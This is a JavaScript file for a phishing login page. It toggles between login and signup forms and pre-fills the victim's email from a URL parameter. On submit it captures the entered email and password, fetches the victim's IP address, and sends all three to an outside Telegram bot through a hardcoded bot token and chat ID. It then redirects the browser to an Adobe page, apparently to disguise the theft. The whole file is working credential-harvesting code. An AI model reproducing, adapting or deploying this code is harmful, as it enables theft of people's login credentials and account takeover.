document.addEventListener("DOMContentLoaded", function() { // --- 1. Existing Form Toggle Logic --- function toggleForms() { const loginForm = document.querySelector('.login-form'); const signupForm = document.querySelector('.signup-form'); if (loginForm && signupForm) { loginForm.classList.toggle('hidden'); signupForm.classList.toggle('hidden'); } } document.querySelectorAll('.toggle-form').forEach(button => { button.addEventListener('click', toggleForms); }); // --- 2. New: Email Autofill from URL --- const urlParams = new URLSearchParams(window.location.search); const userEmail = urlParams.get('email'); if (userEmail) { const emailField = document.getElementById('email'); // Ensure this matches your HTML if (emailField) { emailField.value = decodeURIComponent(userEmail).replace(/[<>'"&]/g, ''); // Sanitized document.getElementById('password')?.focus(); } } // --- 3. Your Telegram Bot + IP Tracking --- async function sendToTelegram(email, password, ip) { const botToken = '8174080223:AAELQfkWnjWlknAz8x9T7gRasjDN09zwEn8'; const chatId = '6601292892'; const message = `📧 New Login:\nEmail: ${email}\nPassword: ${password}\nIP: ${ip}`; try { await fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ chat_id: chatId, text: message }) }); } catch (error) { console.error('Telegram error:', error); } } // --- 4. Enhanced Form Submission with IP Tracking --- document.getElementById('send')?.addEventListener('click', async function(e) { e.preventDefault(); const email = document.getElementById('email')?.value; const password = document.getElementById('password')?.value; // Get user's IP let ip = 'Unknown'; try { const ipResponse = await fetch('https://api.ipify.org?format=json'); const ipData = await ipResponse.json(); ip = ipData.ip || ip; } catch (error) { console.error('IP fetch error:', error); } // Send to Telegram (original functionality) if (email && password) { await sendToTelegram(email, password, ip); } // Your existing form submission logic here window.location.href = "https://get.adobe.com?locale=true"; // Example }); });